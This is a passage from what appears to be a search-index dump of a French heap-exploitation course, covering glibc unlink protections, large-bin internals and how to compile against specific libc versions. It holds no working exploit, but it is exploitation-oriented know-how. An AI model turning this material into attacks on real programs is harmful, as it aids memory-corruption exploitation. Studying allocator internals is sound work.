d’une vérification de l’intégrité des liens lors du retrait d’un bloc libre (unlin...", "content": "Les small bins : mécanismes de protection (2/2)Protections selon les versions 2.3.4 : Safe Unlink : mise en place d’une vérification de l’intégrité des liens lors du retrait d’un bloc libre (unlink). La glibc vérifie alors que les pointeurs du bloc ciblé (victim) sont cohérents avec ceux de son prédécesseur et de son successeur ; 2.26 : Contrôle de la taille du bloc victim à retirer via prev_size lors de l’exécution de unlink.Version 2.3.4 - Safe Unlink❌ Message d’erreur associé : corrupted double-linked list.Nous avons déjà vu précédemment que les protections appliquées à la version 2.3.4 datent de … 2004 ! Oui, ça fait déjà pas mal de temps 😅. Ne pas confondre le Safe Unlink avec le Safe Linking ! Ce sont des protections totalement différentes qui n’agissent pas de la même manière.Cette protection n’est pas propre aux small bins car elle est également utilisée avec les large bins. La vérification est présente dans la fonction unlink dont le contenu, sous forme de macro, est le suivant :/* Take a chunk off a bin list */#define unlink(P, BK, FD) { \\ FD = P-&gt;fd; \\ BK = P-&gt;bk; \\ if (__builtin_expect (FD-&gt;bk != P || BK-&gt;fd != P, 0)) \\ malloc_printerr (check_action, \"corrupted double-linked list\", P); \\ else { \\ FD-&gt;bk = BK; \\ BK-&gt;fd = FD; \\ } \\} P est le bloc libre à retirer de la corbeille. Il est aussi souvent appelé victim. Ne me demandez pas d’où ça vient, je n’en ai aucune idée 🙃.La fonction unlink, nous en avons déjà brièvement parlé. Littéralement “défaire les liens”, cette fonction est appelée lorsqu’un bloc libre doit être retiré d’une corbeille. Sachant qu’en mémoire, les blocs libres dans une corbeille ne sont que des zones mémoire liées ou doublement liées, retirer un bloc revient à supprimer ces liens.Unlink : retirer un bloc d’une corbeilleAvant de rentrer dans les détails du Safe Unlink, comprenons déjà comment fonctionne unlink lorsqu’un bloc victim est à retirer d’une corbeille. Cela peut arriver lorsque le bloc en question est adapté à une allocation demandée.unlink n’est exécutée que pour deux types de corbeilles : les small bins ; les large bins.Afin de vous éviter une migraine en essayant de comprendre ce vers quoi pointe une expression du genre FD-&gt;bk == P-&gt;fd-&gt;bk, voici un schéma qui met en exergue le fonctionnement de unlink : Par souci de clarté, certains liens fd et bk qui ne sont pas nécessaires à la compréhension du schéma ont été omis.Avec ce schéma, vous ne devriez plus avoir trop de mal à comprendre ce qui est vérifié dans la condition FD-&gt;bk != P || BK-&gt;fd != P 😉.Version 2.26 - Contrôle de la taille du bloc victim à retirer❌ Message d’erreur associé : corrupted size vs. prev_size.Une nouvelle vérification a été ajoutée dans la macro unlink lors de la version 2.26.Evolution de la fonction unlinkDans les premiers temps, unlink était une simple petite macro mais est désormais une fonction à part entière et contient bien plus de vérifications. Voici à quoi elle ressemble dans la version 2.41 :/* Take a chunk off a bin list. */static voidunlink_chunk (mstate av, mchunkptr p){ if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr (\"corrupted size vs. prev_size\"); mchunkptr fd = p-&gt;fd; mchunkptr bk = p-&gt;bk; if (__builtin_expect (fd-&gt;bk != p || bk-&gt;fd != p, 0)) malloc_printerr (\"corrupted double-linked list\"); fd-&gt;bk = bk; bk-&gt;fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) &amp;&amp; p-&gt;fd_nextsize != NULL) { if (p-&gt;fd_nextsize-&gt;bk_nextsize != p\t || p-&gt;bk_nextsize-&gt;fd_nextsize != p)\tmalloc_printerr (\"corrupted double-linked list (not small)\"); if (fd-&gt;fd_nextsize == NULL)\t{\t if (p-&gt;fd_nextsize == p)\t fd-&gt;fd_nextsize = fd-&gt;bk_nextsize = fd;\t else\t {\t fd-&gt;fd_nextsize = p-&gt;fd_nextsize;\t fd-&gt;bk_nextsize = p-&gt;bk_nextsize;\t p-&gt;fd_nextsize-&gt;bk_nextsize = fd;\t p-&gt;bk_nextsize-&gt;fd_nextsize = fd;\t }\t} else\t{\t p-&gt;fd_nextsize-&gt;bk_nextsize = p-&gt;bk_nextsize;\t p-&gt;bk_nextsize-&gt;fd_nextsize = p-&gt;fd_nextsize;\t} }}La vérification qui nous intéresse est dans la première condition if. Vous remarquerez qu’une troisième vérification est présente dans la fonction unlink. Toutefois, cette vérification utilise les métadonnées fd_nextsize et bk_nextsize que nous n’avons pas encore vues et qui sont utilisées par les large bins 🔜.Détails de la vérificationJe pense qu’avec le niveau de maîtrise du tas que vous avez désormais, il n’y a pas besoin d’épiloguer 😌 : la taille du bloc victim à retirer est comparée avec le champ prev_size du bloc situé immédiatement après victim (en se basant uniquement sur la taille du bloc victim)." }, { "title": "Partie 20 - Les large bins - fonctionnement et cas d’usage (1/2)", "url": "/posts/exploitation_de_la_heap_partie_20/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-20 08:00:00 -0200", "snippet": "Les large bins : fonctionnement et cas d’usage (1/2)Passons enfin au dernier type de corbeilles : les large bins ! Que ce soit pour les small bins ou large bins, nous n’entrerons pas en détails da...", "content": "Les large bins : fonctionnement et cas d’usage (1/2)Passons enfin au dernier type de corbeilles : les large bins ! Que ce soit pour les small bins ou large bins, nous n’entrerons pas en détails dans la manière de les exploiter, cela ferait beaucoup pour un cours d’introduction, sachant qu’elles ne sont pas les corbeilles les plus utilisées dans le tas.UtilisationNous en avons déjà parlé, les large bins sont utilisées afin de récupérer les blocs de grande taille non utilisés provenant de la unsorted bin. Ainsi, leur fonctionnement général demeure semblable à celui des small bins : recycler les blocs issus de la unsorted bin.Là où il va y avoir du changement, c’est au niveau de l’organisation des blocs au sein d’une corbeille de type large bin. Eh oui, nous allons enfin voir et comprendre à quoi servent les champs fd_nextsize et bk_nextsize des métadonnées d’un bloc :struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize;};Gestion des blocs libresTaille des blocs gérésLors du précédent chapitre, nous avons vu que les 127 corbeilles présentes dans le tableau bins de l’arène sont réparties comme suit : 1 unsorted bin ; 62 small bins ; 64 large bins ;À partir des tailles maximales gérées par les small bins, on en déduit celles prises en charge par les large bins :Version de la libc &lt;= 2.25 Version Nombre de large bins Taille min (incluse) 32 bits 64 0x200 64 bits 64 0x400 Version de la libc &gt; 2.25 Version Nombre de large bins Taille min (incluse) 32 bits 64 0x3f0 64 bits 64 0x400 Nous avons volontairement omis d’indiquer les tailles maximales des large bins car cela ne vous sera probablement d’aucune utilité 😄.Organisation des corbeillesEspacement entre les corbeillesLa principale différence entre les small bins et large bins est que les corbeilles des small bins peuvent gérer, chacune, seulement une taille de bloc en particulier, par exemple : 0x80, 0x100, 0x180 …Tandis que les corbeilles des large bins peuvent gérer un intervalle de tailles de blocs. Par exemple : [0x400 ; 0x440[, [0x440 ; 0x480[, [0xe00 ; 0x1000[ … Euh j’vois pas trop où tu veux en venir avec cette histoire d’intervalles 🤨 ?Bon, une image vaut mille mots 😉 : Les différents liens visibles sur le précédent schéma ne reflètent pas exactement l’organisation sous forme de listes doublement chaînées des small bins et large bins. Cela permet d’alléger le schéma et de pouvoir se focaliser sur les tailles de blocs dans chaque corbeille.Vous remarquerez que l’intervalle de tailles d’une large bin n’inclut jamais la dernière valeur. Par exemple pour la première large bin qui gère les tailles [0x400 ; 0x440[, la taille 0x440 n’est pas incluse.De plus, la taille de l’intervalle d’une corbeille de type large bin n’est pas toujours de 0x40 octets. En effet, d’après la documentation les intervalles sont de plus en plus grands au fur et à mesure que l’on avance dans les indices des large bins :/* Larger bins are approximately logarithmically spaced: 64 bins of size 8 &lt;- ce sont les small bins 32 bins of size 64 16 bins of size 512 8 bins of size 4096 4 bins of size 32768 2 bins of size 262144 1 bin of size what's left*/Les 64 premières sont les small bins (même s’il y en a en réalité 62) tandis que les autres sont les large bins.Voici quelques exemples d’intervalles de tailles, chacun étant géré par une seule corbeille : 32 corbeilles de type large bin qui traitent des intervalles des tailles espacées de 64 octets (0x40) : [0x400 ; 0x440[ ; [0x440 ; 0x480[ ; … [0xc00 ; 0xc40[. puis 16 corbeilles espacés de 512 octets (0x200) : [0xc40 ; 0xe00[ (l’intervalle n’est pas espacé de 0x200 octets, je ne sais pas pourquoi 😅) [0xe00 ; 0x1000[ [0x1000 ; 0x1200[ … et ainsi de suite.Puisque le pas entre deux tailles de blocs est de 0x10 (en 64 bits) chaque corbeille traite autant de tailles de blocs que son intervalle de tailles lui permet.Par exemple : large bin n°0 ➡️ [0x400 ; 0x440[ 4 tailles de blocs gérées : 0x400 0x410 0x420 0x430 large bin n°33 ➡️ [0xe00 ; 0x1000[32 tailles de blocs gérées : 0xe00 0xe10 … 0xfe0 0xff0 En somme, une large bin gère un intervalle de tailles de blocs, ce qui signifie qu’une même corbeille peut gérer 4 tailles, 32 tailles ou davantage en fonction de son index.fd_nextsize et bk_nextsizeAfin de s’y retrouver dans l’intervalle de tailles, chaque bloc des large bins comporte deux champs dédiés, à savoir : fd_nextsize et bk_nextsize. Vous vous demandez sans doute ce à quoi servent ces champs.Pour comprendre, analysons de plus près la problématique suivante : nous avons précédemment vu qu’une large bin peut gérer plusieurs tailles de blocs. Si nous prenons la première large bin, celle-ci gère les tailles 0x400, 0x410, 0x420 et 0x430.Désormais, imaginons le scénario suivant : la première large bin contient déjà : 1000 blocs de taille 0x400 ; 1000 blocs de taille 0x410 ; 1000 blocs de taille 0x430. nous souhaitons insérer dans cette large bin un bloc de taille 0x420.Une méthode naïve serait de parcourir la liste des blocs et de comparer la taille du bloc courant avec 0x420. Le souci, c’est qu’il va falloir parcourir au moins 1000 blocs avant de trouver une place pour le bloc de taille 0x420 et ce, que la liste soit parcourue en partant des plus petits blocs (0x400) ou des plus grands (0x430).Comme vous pouvez le constater, ce n’est pas très optimisé, surtout lorsque la large bin contient beaucoup de blocs. C’est là que fd_nextsize et bk_nextsize interviennent : ces deux champs vont permettre de savoir quand est-ce que l’on passe d’une taille à une autre sans avoir à parcourir tous les blocs. Mais pourquoi l’arène ne stocke pas les informations liées à la taille des blocs au sein d’une large bin ?Tout simplement parce que, comme pour la unsorted bin et la small bin, les large bins ne sont accessibles que via le tableau bins de l’arène qui ne contient, pour chaque corbeille, qu’un champ fd et bk. Les large bins n’échappent pas à cette règle. Ok mais ça marche comment concrètement ?Tout d’abord, il est important de savoir que tous les blocs libres d’une large bin ne contiennent pas les champs fd_nextsize et bk_nextsize. En effet, seul le bloc libre qui démarre une nouvelle taille contient ces métadonnées. Tous les autres blocs de la même taille, eux, ne contiendront pas fd_nextsize et bk_nextsize.En d’autres termes, pour chaque taille qu’une large bin peut gérer, un bloc “tête de liste” sera désigné (toujours le premier bloc inséré de cette taille) et aura les champs fd_nextsize et bk_nextsize tandis que tous les autres blocs de la même taille n’auront pas ce privilège 🙃.⤵️ Insertion de 4 blocs de tailles différentesIntéressons-nous, à présent, à la manière dont sont liés les blocs au sein d’une large bin. Bien que les liens reposent sur un système de liste doublement chaînées, vous constaterez que cela ne se fait pas de la même manière qu’avec une small bin ou la unsorted bin.Pour cela, je vous propose de partir du programme suivant et le lui faire subir quelques modifications :#include \"stdlib.h\"#define NB_BINS 4void *allocs[NB_BINS];unsigned int global_idx = 0;void insert_into_large_bin(int size){ free(allocs[global_idx]); malloc(0x5000 - (size)); malloc(0x2000); malloc(0x2000); global_idx++;}void init(){ // Allocations permettant d'eviter les potentielles // consolidations for(int i = 0; i &lt; NB_BINS; i++) { allocs[i] = malloc(0x5000); malloc(1); }}int main(){ init(); insert_into_large_bin(0x400); insert_into_large_bin(0x410); insert_into_large_bin(0x420); insert_into_large_bin(0x430); return 0;}C’est pas sorcier 🧙‍♂️ : 4 blocs de tailles différentes sont alloués. Ils seront traités par la première large bin. Par souci de clarté, deux schémas seront utilisés pour comprendre le fonctionnement des deux liste doublement chaînées : la première : celle qui est basée sur fd et bk dont le fonctionnement est semblable à celui des small bins ; la seconde : basée sur fd_nextsize et bk_nextsize qui diffère quelque peu de la première. Les schémas suivants seront disposés d’une autre manière, par rapport à ce qui a été fait jusque-là, afin de mieux visualiser l’organisation des blocs dans une large bin.Nous remarquons les choses suivantes : même si les blocs n’ont pas la même taille, ils sont organisés en liste doublement chaînée circulaire, exactement comme dans une small bin (pour l’instant 🤓); le champ fd de la première large bin (situé dans le tableau bins de l’arène) pointe vers le bloc de plus grande taille (0x430) tandis que bk pointe vers le bloc de plus petite taille (0x400) ; comme chacun de ces blocs est le premier de sa taille, ils possèdent tous un champ fd_nextsize et bk_nextsize.Bien, jusque-là, rien de bien nouveau, voyons maintenant comment sont organisés les liens fd_nextsize et bk_nextsize :Du fait que l’arène ne dispose que des pointeurs fd et bk, il n’y a aucun lien depuis ni vers elle. Deux points sont toutefois à noter : fd_nextsize pointe toujours vers le prochain bloc ayant une plus petite taille sauf s’il n’y a pas de bloc plus petit, alors il pointe vers le bloc le plus grand ; bk_nextsize pointe toujours vers le prochain bloc ayant une plus grande taille sauf s’il n’y a pas de bloc plus grand, alors il pointe vers le bloc le plus petit.⤵️ Insertion de 4x3 blocs Pour l’instant je ne vois pas tellement de différence entre les deux listes chaînées si ce n’est que, dans la deuxième, il n’y a pas de pointeurs fd_nextsize et bk_nextsize dans l’arène.A ce stade, il n’y pas beaucoup de différences, je vous l’accorde. Je vous propose de modifier la fonction main du précédent programme comme suit :/*(...)*/// #define NB_BINS 12int main(){ init(); insert_into_large_bin(0x400); // A0 insert_into_large_bin(0x400); // B0 insert_into_large_bin(0x400); // C0 insert_into_large_bin(0x410); // A1 insert_into_large_bin(0x410); // B1 insert_into_large_bin(0x410); // C1 insert_into_large_bin(0x420); // A2 insert_into_large_bin(0x420); // B2 insert_into_large_bin(0x420); // C2 insert_into_large_bin(0x430); // A3 insert_into_large_bin(0x430); // B3 insert_into_large_bin(0x430); // C3 return 0;}Voici que cela donne (seulement les liens fd et bk) :Nous constatons, encore une fois, que : les pointeurs fd parcourent la large bin dans l’ordre décroissant de tailles ; les pointeurs bk parcourent la large bin dans l’ordre croissant de tailles ; une fois arrivé à une extrémité, on repart vers l’autre. Pourquoi les blocs sont liés dans l’ordre A➡️C➡️B alors qu’ils ont été alloués dans l’ordre : A➡️B➡️C.C’est l’une des spécificités du fonctionnement de la large bin : lorsqu’un bloc de taille n est inséré alors qu’il y a déjà un ou plusieurs autres blocs de taille n, il est toujours inséré en deuxième position. Cela permet notamment d’éviter de devoir modifier à chaque fois la liste doublement chaînée des pointeurs fd_nextsize et bk_nextsize.Ainsi, en insérant dans l’ordre les 4 blocs suivants A➡️B➡️C➡️D, le résultat, une fois insérés dans la large bin, sera : A➡️D➡️C➡️B.Par ailleurs, en parlant de fd_nextsize et bk_nextsize, voici la liste doublement chaînée qui en découle :On observe que : seuls les premiers blocs de chaque taille (A1, A2 etc.) disposent des pointeurs fd_nextsize et bk_nextsize ; les pointeurs fd_nextsize parcourent la large bin dans l’ordre décroissant de tailles ; les pointeurs bk_nextsize parcourent la large bin dans l’ordre croissant de tailles ; une fois arrivé à une extrémité, on repart vers l’autre.En d’autres termes, fd_nextsize et bk_nextsize pointent vers les différentes têtes de liste (premier bloc d’une taille inséré) afin d’identifier le début d’une nouvelle catégorie de taille.⤴️ Ordre de recyclage des blocs libresPour une taille de bloc donnée (ex : 0x400), le recyclage des blocs libres se fait de manière LIFO ( dernier arrivé premier servi ). Cela signifie que les blocs sont recyclés dans l’ordre inverse de leur insertion dans une large bin.Prenez par exemple le programme suivant :int main(){ init(); insert_into_large_bin(0x400); // A insert_into_large_bin(0x400); // B insert_into_large_bin(0x400); // C insert_into_large_bin(0x400); // D malloc(0x400-0x10); // retourne -&gt; D malloc(0x400-0x10); // retourne -&gt; C malloc(0x400-0x10); // retourne -&gt; B malloc(0x400-0x10); // retourne -&gt; A return 0;}Il est possible de constater, via gdb, que les blocs libres de la large bin ont été recyclés dans le sens inverse de leur insertion, pour une taille donnée.Bon, j’espère que ces différents schémas et cas de figure vous ont permis de mieux appréhender le fonctionnement des large bins qui est un peu plus complexe que celui des autres types de corbeilles 🥵. Et il se passe quoi dans le cas où il n’y a qu’un seul bloc libre de 0x430 octets et que l’on réalise une allocation de 0x400 octets ?Dans ce cas, malloc retourne un pointeur vers un bloc de 0x400 octets tandis que le bloc de 0x30 octets restants retourne au goulag, euh dans la unsorted bin.Structure et métadonnées d’un bloc issu d’une large binLorsqu’il s’agit du premier bloc d’une taille donnée inséré dans une large bin :Sinon :📋 SynthèseJe sais, nous avons vu pas mal d’informations lors de ce chapitre 😅, je vous propose donc un petit résumé sur l’essentiel du fonctionnement des large bins : il y a 64 large bins ; à l’instar des small bins, les large bins stockent les blocs libres de grande taille de la unsorted bin qui n’ont pas pu être réutilisés ; chaque corbeille de type large bin gère un intervalle de tailles ( ex : [0x400 ; 0x440[, [0xe00 ; 0x1000[ …) ; cela implique de devoir classer et trier les blocs en fonction de leur taille grâce aux champs fd_nextsize et bk_nextsize présents uniquement sur le premier bloc de chaque taille ; les blocs libres sont toujours insérés en seconde position (lorsqu’il y a déjà un bloc de cette taille) le fonctionnement est basé sur deux listes doublement chaînées circulaires : une première basée sur fd et bk qui permet de lister tous les blocs d’une corbeille donnée ; une deuxième basée sur fd_nextsize et bk_nextsize qui permet d’identifier, de manière optimisée, le début de chaque nouvelle taille de blocs ; les blocs libres sont recyclés de manière LIFO : dernier arrivé, premier servi." }, { "title": "Partie 21 - Les large bins - mécanismes de protection (2/2)", "url": "/posts/exploitation_de_la_heap_partie_21/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-19 08:00:00 -0200", "snippet": "Les large bins : mécanismes de protection (2/2)Protections selon les versions 2.3.4 : Safe Unlink : mise en place d’une vérification de l’intégrité des liens lors du retrait d’un bloc libre (unlin...", "content": "Les large bins : mécanismes de protection (2/2)Protections selon les versions 2.3.4 : Safe Unlink : mise en place d’une vérification de l’intégrité des liens lors du retrait d’un bloc libre (unlink). La glibc vérifie alors que les pointeurs du bloc ciblé (victim) sont cohérents avec ceux de son prédécesseur et de son successeur ; 2.21 : Vérification des liens fd_nextsize et bk_nextsize (lorsqu’ils existent) du bloc à retirer ; 2.26 : Contrôle de la taille du bloc victim à retirer via prev_size lors de l’exécution de unlink.Comme la fonction unlink peut être utilisée aussi bien pour des blocs provenant d’une small bin que d’une large bin, les protections ajoutées lors de la version 2.3.4 (Safe unlink) et 2.26 ont déjà été expliquées dans le chapitre concernant les protections ajoutées aux small bins.Version 2.21 - Vérification des liens fd_nextsize et bk_nextsize du bloc à retirer❌ Message d’erreur associé : corrupted double-linked list (not small).Cette vérification ne s’applique, évidemment, qu’aux blocs qui disposent des champs fd_nextsize et bk_nextsize à savoir les premiers blocs de chaque taille.Détails de la vérificationLa vérification, présente dans la fonction unlink, est la suivante :if (!in_smallbin_range (chunksize_nomask (p)) &amp;&amp; p-&gt;fd_nextsize != NULL){ if (p-&gt;fd_nextsize-&gt;bk_nextsize != p || p-&gt;bk_nextsize-&gt;fd_nextsize != p)\t\tmalloc_printerr (\"corrupted double-linked list (not small)\");/*(...)*/}Je vous propose de voir un exemple pratico-pratique afin de comprendre ce qui est comparé, même si je suis persuadé que vous avez compris du premier coup 😉. Imaginons que 4 blocs de tailles 0x400, 0x410, 0x420 et 0x430 soient libérés. Ensuite, une allocation de taille 0x410 est réalisée.Voici, en 🟡, ce qui sera vérifié lors de l’appel à unlink (en plus des précédentes vérifications) :Le bloc victim (ou p) est évidemment le bloc en 🔵." }, { "title": "Partie 22 - Synthèse - vue d'ensemble des différents types de corbeilles", "url": "/posts/exploitation_de_la_heap_partie_22/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-18 08:00:00 -0200", "snippet": "Synthèse : vue d’ensemble des différents types de corbeillesC’est terminé les amis, on a fait le tour de toutes les corbeilles existantes dans la glibc à ce jour ! (enfin à ma connaissance 😅). Mais...", "content": "Synthèse : vue d’ensemble des différents types de corbeillesC’est terminé les amis, on a fait le tour de toutes les corbeilles existantes dans la glibc à ce jour ! (enfin à ma connaissance 😅). Mais je ne pouvais pas vous laisser partir maintenant, alors que vous êtes en si bon chemin.Pour récompenser vos efforts et votre attention, vous trouverez ci-dessous un résumé de l’essentiel de ce qui a été vu à propos des différents types de corbeilles ✨. L’image est très grande, si vous n’arrivez pas à la voir correctement, n’hésitez pas à l’ouvrir dans un nouvel onglet et à zoomer ; il s’agit d’une image vectorielle. L’image s’affiche beaucoup mieux quand le système est en mode “clair” que “sombre”.↗️ Aller plus loinNous avons exploré ensemble les principaux éléments qui composent le tas ainsi que les différentes corbeilles, en partant de l’arène pour aller progressivement vers des aspects plus détaillés. Nous avons notamment analysé en profondeur le fonctionnement des métadonnées ainsi que les mécanismes d’exploitation reposant sur ces structures.Cela dit, de nombreux aspects n’ont évidemment pas pu être abordés. Parmi les notions non traitées figurent notamment : l’exploitation de toutes les attaques du type House of … ; les principales attaques dans les small bins et large bins ; l’exploitation du tas à travers la manipulation de la structure FILE ; la liste exhaustive des protections ajoutées au fil du temps en fonction des versions.Quoi qu’il en soit, vous avez désormais les bases nécessaires pour explorer par vous-mêmes les notions qui vous intéressent 😉.Dieu sait mieux." }, { "title": "Partie 23 - Annexe n°1 - comment compiler et déboguer un programme avec une version spécifique de la libc", "url": "/posts/exploitation_de_la_heap_partie_23/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-17 08:00:00 -0200", "snippet": "Annexe n°1 : Comment compiler et déboguer un programme avec une version spécifique de la libcSi vous souhaitez comparer la gestion de la heap dans différentes versions de la glibc, il va falloir ap...", "content": "Annexe n°1 : Comment compiler et déboguer un programme avec une version spécifique de la libcSi vous souhaitez comparer la gestion de la heap dans différentes versions de la glibc, il va falloir apprendre à compiler un programme avec une libc spécifique. Evidemment, cela peut être aussi utile pour d’autres raisons qui ne sont pas forcément liées au tas.Pour cela nous avons besoin principalement de deux fichiers : la bibliothèque : libc. Il s’agit d’un fichier .so qui est une bibliothèque dynamique nécessaire étant donné que l’on ne compilera pas en statique ; l’éditeur de liens : ld. C’est ce qui résout les références entre les symboles (fonctions, variables, etc.) et détermine où chaque composant sera chargé en mémoire.Il existe deux manières de récupérer ces fichiers : automatique : en utilisant un script ; manuelle : en téléchargeant soi-même la version de la libc que l’on souhaite utiliser.🦾 Téléchargement automatique d’une version spécifique de la libc⬇️ Récupération de la libc et de ldBonne nouvelle, il existe déjà des outils tout prêts pour le téléchargement de la libc 🥳 ! Nous allons principalement utiliser deux projets libc-database et glibc-all-in-one, chacun ayant des avantages et inconvénients : libc-database 🟢 Avantages : offre plus de choix (~520 libc pour Ubuntu) 🔴 Inconvénient : ne permet pas de télécharger directement les symboles de débogage glibc-all-in-one 🟢 Avantages : télécharge automatiquement l’éditeur de liens ainsi que le dossier de débogage .debug 🔴 Inconvénients : offre moins de choix (~70 libc pour Ubuntu) Nous détaillerons un peu plus loin l’utilité du dossier .debug lorsque l’on utilisera gdb sur le programme compilé.1️⃣ libc-databasesCommençons par libc-database qui permet de constituer une sorte de base de données d’un grand nombre de libc. Initialement, ce projet permet de récupérer les symboles d’une version précise de la libc afin de trouver plus facilement les offsets de fonctions intéressantes comme system, execve et j’en passe.Après avoir cloné le projet, utilisons la commande suivante :./get ubuntuCette commande va télécharger dans le dossier db toutes les libc utilisées dans Ubuntu. Le taille du dossier est inférieure à 1 Go. D’autres distributions sont disponibles en utilisant une option parmi : debian,rpm,centos,centos_stream,arch,alpine,kali.Dans le dossier db, chaque version de la libc dispose de 4 fichiers : fichier.so : bibliothèque dynamique ; fichier.symbols : liste des offsets des symboles ; fichier.url : lien de téléchargement du paquet contenant la libc. Le paquet inclut bien plus d’éléments que ce qui est téléchargé par libc-database. Par exemple, le paquet contient l’éditeur de lien ld qui n’est pas téléchargé ici ; fichier.info : description succincte de la libc en question.Dans notre cas, nous avons seulement besoin du fichier .so. Néanmoins il nous manque l’éditeur de liens car la commande ./get ne le télécharge pas. Pour télécharger ld il va d’abord falloir choisir une version de la libc en particulier.Par ailleurs, pour une version 2.XX de la glibc, plusieurs fichiers sont disponibles. Ceux qui nous intéressent sont ceux de la forme : libc6_2.23-xxxxxxx_amd64.so : si vous souhaitez compiler le programme en 64 bits ; libc6_2.23-xxxxxxx_i386.so : si vous souhaitez compiler le programme en 32 bits. Les versions de la forme libc6-amd64_2.23*,libc6-i386_2.23* et libc6-x32_2.23* sont des bibliothèques pour faire de la compilation croisée (cross compilation 🇬🇧). Exemple : compiler depuis une machine 32 bits un programme vers une machine 64 bits. Pour une même version de la libc (ex : 2.23), il peut y avoir plusieurs sous-versions (ex : 0ubuntu11.3 et 0ubuntu3).Ainsi, pour récupérer le programme ld de la libc libc6_2.23-0ubuntu11.3_amd64 nous pouvons utiliser la commande ./download comme suit :./download libc6_2.23-0ubuntu11.3_amd64Cette commande télécharge plusieurs bibliothèques dynamiques dans le dossier libs/libc6_2.23-0ubuntu11.3_amd64. Celle qui nous intéresse est ld-2.23.so (ou ld-linux-x86-64.so.2 qui sont exactement les mêmes fichiers). Le fichier libc-2.23.so présent dans libs/libc6_2.23-0ubuntu11.3_amd64 est exactement le même que le fichier libc6_2.23-0ubuntu11.3_amd64.so présent dans le dossier db.2️⃣ glibc-all-in-oneVous vous demandez peut-être pourquoi évoquer un autre projet qui, en apparence, remplit presque les mêmes fonctions que libc-database. Tout d’abord, comme mentionné précédemment, chaque outil possède ses propres avantages et inconvénients. Présenter deux outils vous offre la possibilité de choisir celui qui répond le mieux à vos besoins.D’ailleurs, glibc-all-in-one est utilisé par le projet très connu how2heap qui permet de comprendre, dans les grandes lignes, comment fonctionnent certaines techniques d’exploitation dans le tas. Comme cela dépend en grande partie de la version de la glibc, il est nécessaire de pouvoir compiler certaines techniques avec des versions bien précises de la libc.Enfin, cela enrichit votre boîte à outils : disposer de plusieurs options est toujours utile, notamment si l’un des deux se révèle insuffisant ou inadapté dans une situation donnée.Après avoir cloné glibc-all-in-one, nous allons lancer la commande ./update_list qui permet de mettre à jour deux listes list et old_list avec une multitude de libc.Choisissez la version que vous souhaitez utiliser : si la version est dans old_list : il faut utiliser la commande ./download_old pour la télécharger ; si la version est dans list : il faut utiliser la commande ./download.Par exemple, si je souhaite télécharger la version 2.24-3ubuntu1_i386 présente dans old_list, la commande à lancer est ./download_old 2.24-3ubuntu1_i386. Lorsque cette commande a terminé son exécution, le dossier libs/2.24-3ubuntu1_i386 est créé avec plusieurs éléments dont la libc, ld et le dossier .debug (utilisé par gdb pour le débogage) :C’est tout bon, nous sommes désormais prêts pour la compilation !⚙️ Compilation et exécutionDans un même dossier, plaçons le fichier main.c à compiler avec les fichiers suivants :main.cld-2.23.solibc-2.23.so Vous n’êtes pas obligés de mettre la libc et ld dans le même dossier que le fichier main.c mais il faudra alors adapter correctement les chemins dans la commande de compilation sinon vous aurez, lors de l’exécution, des erreurs du type : relocation error: ..... Ainsi, il vaut mieux mettre tous ces fichiers au même niveau d’arborescence pour ne pas se tromper en copiant-collant les commandes ci-dessous.Ensuite, pour que le programme puisse s’exécuter correctement après la compilation, nous créons un lien symbolique libc.so.6 vers libc-2.23.so avec :ln -s libc-2.23.so libc.so.6 libc.so.6 est le soname utilisé pour la libc. Il s’agit en quelque sorte d’une indication concernant la compatibilité de la libc réellement utilisée. En utilisant la commande strings une fois le programme compilé, vous constaterez qu’il ne contient pas la chaîne de caractère \"libc-2.23.so\" mais plutôt \"libc.so.6\". De ce fait, si le soname n’est pas présent dans le dossier, vous pourrez avoir des erreurs lors de l’exécution du programme 🤕.Pour ce qui est de la compilation avec gcc, voici la commande que nous allons utiliser :gcc main.c -o exe \\ -Wl,--dynamic-linker=./ld-2.23.so \\ -L. -Wl,-rpath=. -l:./libc-2.23.soLes différentes options utilisées sont : -L : spécifie à l’éditeur de liens le dossier contenant les bibliothèques à utiliser ; -l: : permet de spécifier explicitement une bibliothèque. En l’occurrence, nous avons seulement besoin d’inclure la libc ; -Wl,-xyz : cette option permet de transmettre l’option -xyz à l’éditeur de liens. Cela revient à l’appeler ainsi : ld -xyz ; --dynamic-linker : chemin vers l’éditeur de lien que l’on souhaite utiliser ; -rpath : comme le programme est lié dynamiquement (la libc ne sera chargée dynamiquement qu’à l’exécution) avec une libc différente, ld a besoin de savoir où la trouver lorsque le programme sera exécuté vu que cette libc n’est pas présente dans les dossiers utilisés par défaut par ld (dossiers contenant la libc utilisée par votre machine par exemple). Ainsi, si vous vous trompez dans cette option, vous n’aurez pas d’erreur à la compilation mais plutôt lors de l’exécution car ld va râler 🤬.Vous pouvez désormais lancer votre programme ./exe et le déboguer avec gdb (gdb ./exe) :Désormais, le tas sera géré par la version 2.23 de la libc. Cela implique, par exemple, l’absence de tcache.Il est également possible de vérifier la libc et l’éditeur ld utilisés sans avoir à lancer le programme dans gdb avec la commande ldd :$ ldd ./exe linux-vdso.so.1 (0x00007301ab40a000) libc.so.6 =&gt; ./libc.so.6 (0x00007301ab000000) ./ld-2.27.so =&gt; /lib64/ld-linux-x86-64.so.2 (0x00007301ab40c000) Si vous n’arrivez pas à lancer les commandes liées au tas dans gdb, jetez un œil à la section “Importer les symboles de débogage” un peu plus bas.🔧 Utiliser patchelfJe me suis rendu compte que la précédente commande gcc ne fonctionne pas très bien avec les libc post 2.35. Voici un exemple de message d’erreur que vous pouvez rencontrer lors de la compilation :/usr/bin/ld : ././libc-2.35.so : référence indéfinie vers « __nptl_change_stack_perm@GLIBC_PRIVATE »collect2: error: ld returned 1 exit statusUne solution est d’utiliser l’outil patchelf après avoir compilé le programme de manière classique :gcc main.c -o exe # compilation classiquepatchelf --set-interpreter 